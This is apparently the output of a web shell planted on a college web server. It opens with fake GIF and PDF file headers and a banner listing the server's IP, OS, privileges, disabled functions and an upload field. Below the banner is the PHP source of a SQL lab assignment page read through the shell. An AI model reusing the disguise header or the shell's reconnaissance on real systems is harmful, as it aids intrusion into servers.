GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST1600/Labs/Lab05/ |
Upload File : |
<? // MichaelMalz/CST1600/Labs/Lab03/index.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. require('application.phpinc'); require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; #$disabled = ' disabled'; // Comment this line to enable lab. $workFilename = fileSafe($userFileName.'-ScheduleTables.txt'); ?> <fieldset><legend>Description</legend> The purpose of this lab is to demonstrate the ability to perform a simple query with a calculated field. <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend> <ol class="count"> <li> Create a directory called <b class="copyText"><?=$evaluationName?></b>. We will use it for all work performed in this lab. </li> <li> Write a query with a calculated field and limit. <ol> <li>Write a query that lists all fields from orderdetails, plus a calculated field of <b class="copyText">quantityOrdered * priceEach</b>.</li> <li>Name the calculated field (quantityOrdered * priceEach) AS <b class="copyText">subtotal</b>.</li> <li>Limit the query to 10 rows. <span class="note">Do not do this with a filter but use the <code>LIMIT</code> clause in your sql statement instead.</span></li> <li>Save the query as <b class="copyText"><?=$saveFilename?>_Calculated.sql</b> in your <?=$evaluationName?> directory.</li> <li>Run the query.</li> <li>Adjust the MySQL Workbench window and panel sizes so both the query and the result are visible.</li> <li>Take a screenshot of the MySQL Workbench window and save it as <b class="copyText"><?=$saveFilename?>_Calculated.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example Calculated.sql results '); ?><br> <img src="images/Calculated.png" width="709" height="338" alt="Calculated.sql example results"/><br> <? showEnd (); ?> </li> </ol> </li> <li>Turn in your assignment: <ol type="a"> <li>Make sure the following files are in your <b><?=$evaluationName?></b> folder. <ol> <li><b><?=$saveFilename?>_Calculated.png</b>.</li> <li><b><?=$saveFilename?>_Calculated.sql</b>.</li> </ol> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b></li> <li>Then attach this file to the assignment in D2L for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); require('common/sectionFooter.phpinc'); #require('../../ReferencesResources.phpinc'); #require($Instructor['Path'].'/ContactInformation.phpinc'); require('common/pageFooter.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>